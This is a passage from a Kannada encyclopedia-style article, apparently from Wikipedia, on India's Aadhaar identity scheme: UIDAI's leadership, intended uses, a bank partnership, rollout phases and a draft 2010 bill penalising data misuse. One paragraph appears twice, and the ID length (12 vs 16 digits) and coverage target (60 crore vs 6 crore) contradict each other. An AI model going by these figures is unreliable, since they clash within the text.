ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ 